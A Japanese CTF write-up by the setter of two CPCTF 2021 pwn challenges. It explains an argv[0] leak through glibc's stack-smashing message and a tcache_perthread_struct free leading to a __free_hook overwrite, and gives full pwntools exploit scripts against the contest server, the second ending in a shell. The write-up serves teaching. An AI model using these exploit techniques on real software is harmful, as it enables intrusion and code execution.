はじめに
21Mのzassouです。普段は機械学習、特にGANという画像生成や画像変換に関する手法について研究や趣味で扱っています。
twitter : https://twitter.com/zassouEX
github : https://github.com/zassou65535
4/25にCPCTFが開催され、非常に多くの方にご参加頂きました。皆さんありがとうございます。
今回はpwnに関して
- Pwn/leak_flag
- Pwn/limited
の2問を作問させていただきました。本記事ではこれらのwriteupを書いていきます。
Pwn/leak_flag
概要
arg[0]リークに関する問題
checksec
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
※No PIEなのでこの実行ファイルのアドレスは不変
動作検証
実行するとこのような文字列が出力され、入力を受け付ける状態になります。
flag?>>
普通に何かしら文字列を入力すると何事もなく終了してしまいますが、一定より長い文字列を入力した際にはstack smashing detected
と出て終了します。
さらに長い文字列を入力した際にはSegmentation fault
が出ます。
脆弱性
IDA64で実行ファイルを開きます。
read関数で最大0x3a8バイト分[rbp+buf]から順にバイト列を読み込んでますが、プログラムの冒頭にある通りbuf=-0x70と定義されているため0x70文字以上の入力を与えるとバッファオーバーフローが起きます。
今回の場合はCanaryが有効なためオーバーフローを検知した時点でプログラムが終了します。
(しかし後述するようにこれを利用して任意のアドレスの内容を表示可能です。)
続いてread_flag関数の中を見ます。
実行ファイルと同じディレクトリにflag.txtというファイルが存在しているようで、これを読み込んでいます。
このflagという変数について調べます。
この変数は.bss領域(推測可能なアドレス)に配置されています。
ここ(0x601060)から数バイト分うまく読み出すことができればflag.txtの内容が手に入ります。
exploit
結論としてはarg[0]を格納している領域に0x601060を書き込み、stack smashing detected
を起こせば良いです。
この問題を解く上で必要になるarg[0]リークについて解説します。
arg[0]リーク
libc-2.23.so以前に存在する脆弱性で、libcの出力するエラーメッセージが読める状態なら利用できます。(本問題においては環境変数にLIBC_FATAL_STDERR_=1と指定することで、network越しでもエラーメッセージが全てstderrに流れてくるようになっているため読めます。)
一定より長い文字列を入力した際には
*** stack smashing detected ***: ./leak_flag terminated
という表示が出て終了すると説明しましたが、この./leak_flagという文字列はプログラム実行時に自動的に引数として与えられる、実行ファイル名arg[0]に由来します。
本来であればarg[0]を格納しているべきアドレスに、ある文字列の先頭アドレスを上書きした上でstack smashing detected
が起きると./leak_flagと表示すべき箇所にその文字列が表示されてしまうのがこの脆弱性です。
arg[0]はスタックよりも後ろの位置にあるためバッファオーバーフローで書き換えを狙うことができます。
後ろにあるということがわかれば後は入力で0x0000000000601060が何十回か繰り返された文字列を送れば詳しいarg[0]の位置が分からなくてもフラグを奪取可能。
ただしあまりに文字列が長すぎるとstack smashing detected
ではなくSegmentation fault
が出てしまい、リークができないので注意。
exploit code
#encoding:utf-8
from pwn import *
p = remote('160.251.17.135',10011)
p.recvuntil("flag?>>")
p.sendline(p64(0x601060)*60)
print(p.recvall())
実行例
Pwn/limited
概要
malloc、tcacheに関する問題
checksec
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
動作検証
0と入力するとデータの追加、1と入力するとoffsetという数字を聞かれ、何かが実行されます。
操作のたびにremainと表示されている数が減っていき、remain=1と表示されている状態で操作0 or 1を完了するとプログラムが終了します。
また、プログラムの実行時にprintfのアドレスが表示されていてここからlibcの推定が可能です。
脆弱性
IDA64で解析します。まず、1と入力された際に実行されるdel関数から見ます。
次に、0と入力された際に実行されるadd関数を見ます。
重要な箇所は以下の処理です。
addでchunkを確保、確保した結果返ってきたアドレスをlast_mallocに格納しています。
delではoffset:でfreeする位置を指定できます。
例えば、offset:で0を入力するとlast_malloc+0に相当する位置、すなわちmallocで得たアドレスそのままがfreeの対象となり、-30を入力すればlast_malloc-30に相当する位置がfreeの対象となります。
このことから、ヒープ内の好きな場所をfreeすることで、そこをtcacheのリンクリストにつなげられることが分かります。
exploit
exploitの大まかな流れは次のようになります。
- tcacheの管理領域をfree
- tcacheのcountsとentriesを書き換え、free_hookに書き込める状態を作る
- free_hookのアドレスに対してsystem関数のアドレスを書き込む
- サイズ0x20のchunkを確保、文字列"/bin/sh\x00"を書き込む
- 4.で確保したchunkに対しfreeを実行
tcache_perthread_struct
tcache_perthread_structとはmallocを用いて自動的にヒープの先頭に配置される構造体で、以下のように構成されています。
引用元 : https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c
tcache_perthread_struct構造体に含まれる変数について説明します。
- counts
- chunkがfreeされるたびに、そのサイズごとに後述するentriesにリンクリストの形でchunkがキャッシュされますが、リンクリストにいくつchunkが繋がっているかを表すカウンタの役割を果たします。
- entries
- chunkはfreeされるごとにサイズ別にリンクリストに繋がれていきますが、そのリンクリストの頭のポインタに相当します。
tcache_perthread_struct(以降では単にtcacheと呼称する)自体は、大きさ0x250[byte]のchunkとしてヒープ上に配置されています。
実際にこれがヒープに配置された直後の様子をgdbで確認すると次のようになっています。
chunkサイズの下位1[bit]は、heap上で前方に配置されているchunkが使用中、もしくは前方にchunkがなければ1です。tcacheより前方にはchunkがないので0x251と表示されています。
1. tcacheの管理領域をfree
まず適当な大きさのchunkを確保します。last_mallocには今の時点でこのchunkのアドレスが格納されます。
その状態でoffset:で-592(=-0x250)を指定すると、tcacheが格納されているchunkそのものに対してfreeを実行できます。
実行すれば、サイズ0x250で場所が0x555555757010のchunk(本当はtcacheであるはずの領域)がtcacheの対応するサイズのリンクリストにキャッシュされます。
2. tcacheのcountsとentriesを書き換え、free_hookに書き込める状態を作る
さらにこの状態でmallocでサイズ0x250バイトのchunkを確保すると0x555555757010が返ってくるため、tcacheに任意のバイト列を書き込み可能になります。
このことを利用して下図のように0x20[byte]に相当する場所以外を、free_hookのアドレスがキャッシュされているような状態に書き換えます。
3. free_hookのアドレスに対してsystem関数のアドレスを書き込む
続いてfree_hookのアドレスに対してsystem関数のアドレスを書き込みます。tcacheを上のような状態にした上でmallocを呼び、0x20[byte]以外の大きさのchunkを確保するとキャッシュされていたfree_hookのアドレスが返ってくるため、そこにsystem関数のアドレスを書き込みます。
4. サイズ0x20のchunkを確保、文字列"/bin/sh\x00"を書き込む
0x20[byte]のchunkを確保し文字列"/bin/sh\x00"を書き込みます。この時点でlast_mallocにはこのchunkを指すアドレス(つまり文字列"/bin/sh\x00"を指すアドレス)が格納されます。
5. 4.で確保したchunkに対しfreeを実行
その状態でfree(last_malloc)を呼ぶとsystem("/bin/sh\x00")が起動、シェルを奪取できます。
exploit code
#encoding:utf-8
from pwn import *
p = remote('160.251.17.135',10012)
def add(size,contents):
#print("add(size={},contents=\"{}\")".format(hex(size),contents))
p.recvuntil("choose operation:")
p.sendline("0")
p.recvuntil("size:")
p.sendline(str(size))
p.recvuntil("content:")
p.sendline(contents)
def delete(offset):
#print("del({})".format(hex(offset)))
p.recvuntil("choose operation:")
p.sendline("1")
p.recvuntil("offset:")
p.sendline(str(offset))
#libc-2.27.soの読み込み
libc227 = ELF('./libc-2.27.so')
#libcのアドレスを算出
libc_base = int(p.recvline()[-15:-1],16) - libc227.symbols['printf']
print("libc_base="+hex(libc_base))
#適当なサイズのchunkを確保
add(0x38, "A"*0x18)
#tcacheの管理領域をfree
delete(-0x250)
#tcacheのcountsを書き換えるための部位を構成
fake_tcache = b'\x00'
fake_tcache += b'\x01' * 0x3f
#tcacheのentriesを書き換えるための部位を構成
fake_tcache += p64(0)
fake_tcache += p64(libc_base + libc227.symbols['__free_hook']) * 0x3f
#tcacheの管理領域を丸ごと上書きする
add(0x248, fake_tcache)
#free_hookのアドレスに対してsystem関数のアドレスを書き込み
add(0x28, p64(libc_base + libc227.symbols['system']))
#ヒープのどこかに0x20[byte]のchunkが作成される + system関数の引数をセット
add(0x18, "/bin/sh\x00")
#作成したchunkに対しfreeを実行、free_hookを呼ぶ
delete(0)
p.interactive()
実行例
参考
https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c
おわりに
CPCTF2021に参加していただきありがとうございました。pwnの作問はとても面白く、それだけでなく非常にためになる部分もありました。
運営や開発、作問など、CPCTFに携わった方々お疲れ様でした。